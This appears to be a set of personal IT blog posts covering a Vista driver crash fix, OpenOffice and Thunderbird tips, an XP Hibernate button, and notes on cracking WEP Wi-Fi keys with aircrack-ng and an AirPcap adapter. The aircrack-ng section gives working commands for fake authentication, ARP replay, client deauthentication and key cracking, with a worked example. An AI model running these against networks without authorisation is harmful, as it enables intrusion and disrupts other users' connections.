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Problem

Vista Crashes (Blue Screens) with an error message mentioning yk60×86.sys.

Solution

We’ve got a bunch of Sony Vaio VGN-SZ5MN laptops at work and a lot of them are blue screening (BSOD) as soon as you plug in the Ethernet cable. If that’s not enough of a clue (hehe), the problem is the Marvell Yukon Ethernet Controller driver.

To fix the problem, download the updated driver from the Marvell Driver page.

Or try this direct link to the Driver Installer for Windows 2000/XP/Vista

Finally, I’ve had time to write down my notes on using aircrack-ng with the Airpcap Tx adapter in Windows. Before you read on, please be aware that this isn’t meant to be a guide or tutorial, it’s just my notes. Thanky

Basics

Start capturing:

airodump-ng \\.\airpcap00 airpcap CHANNELNUMBER mycapturefile

Fake auth:

aireplay-ng --fakeauth 0 -e "MYSSID" -a BSSIDMAC -h AIRPCAPMAC \\.\airpcap00

Start attack:

aireplay-ng --arpreplay -b BSSIDMAC -h CLIENTMAC \\.\airpcap00

Deauth (if we need ARPs):

aireplay-ng --deauth 3 -a BSSIDMAC -c CLIENTMAC \\.\airpcap00

Start cracking:

aircrack-ng -z mycapturefile.cap

Worked example:

airodump-ng.exe \\.\airpcap00 airpcap 11 mycapturefile
aireplay-ng --fakeauth 0 -e "WEP" -a 00:a0:c5:9d:d5:50 -h 00:02:72:67:92:8a \\.\airpcap00
aireplay-ng --arpreplay -b 00:a0:c5:9d:d5:50 -h 00:90:4b:eb:9b:36 \\.\airpcap00
aireplay-ng --deauth 3 -a 00:a0:c5:9d:d5:50 -c 00:90:4b:eb:9b:36 \\.\airpcap00
aircrack-ng -z mycapturefile.cap

Download

I’ve prepared a special release of the aircrack-ng tools originally prepared by CACE Technologies on the AirPcap CDROM. It replaces the new aireplay-ng.exe with an older one which, in my tests, appears to perform better.

Download the release of aircrack-ng for AirPcap Tx

To get OpenOffice to Save in Microsoft Word .doc format by default, follow these steps:

• Tools > Options
• Load/Save > General
• In the bottom right of the window, look for “Always save as” and pick your poison

I know that saving in a proprietary format over an open standard is bad practice, but sometimes in Business you need to maintain interoperability with the de facto standard; in this case: Microsoft Word.

Over Christmas, I noticed that Jade’s Dell laptop had a fourth Hibernate button on the XP Shut Down Menu. Ever since, I’ve been wanting to add it to my laptop, but somehow never got around to finding out how to do it.

Luckily, YaronM over on AskTheAdmin, has posted an article showing how to go about adding that Hibernate button to your Shut Down Menu.

It sure beats holding shift, and makes it much easier for less IT-savvy people to hibernate… maybe even saving the planet a little in the process.

In a business environment, people who switch from Microsoft Outlook to Mozilla Thunderbird often miss having the calendar/task features in Outlook. Fortunately, you can add Calendar and Task functionality to Thunderbird with the Lightning add-on.

• Go to the Lightning download page
• Right click on the download link and Save As… (If you don’t, Firefox might try to install the add-on itself.)
• Open up Thunderbird and click on Tools > Add-ons
• Install the Lightning file you just downloaded
• Once you’re done, restart Thunderbird, and start using your new Calendar feature!
• If you need Holiday calendars, you can get them here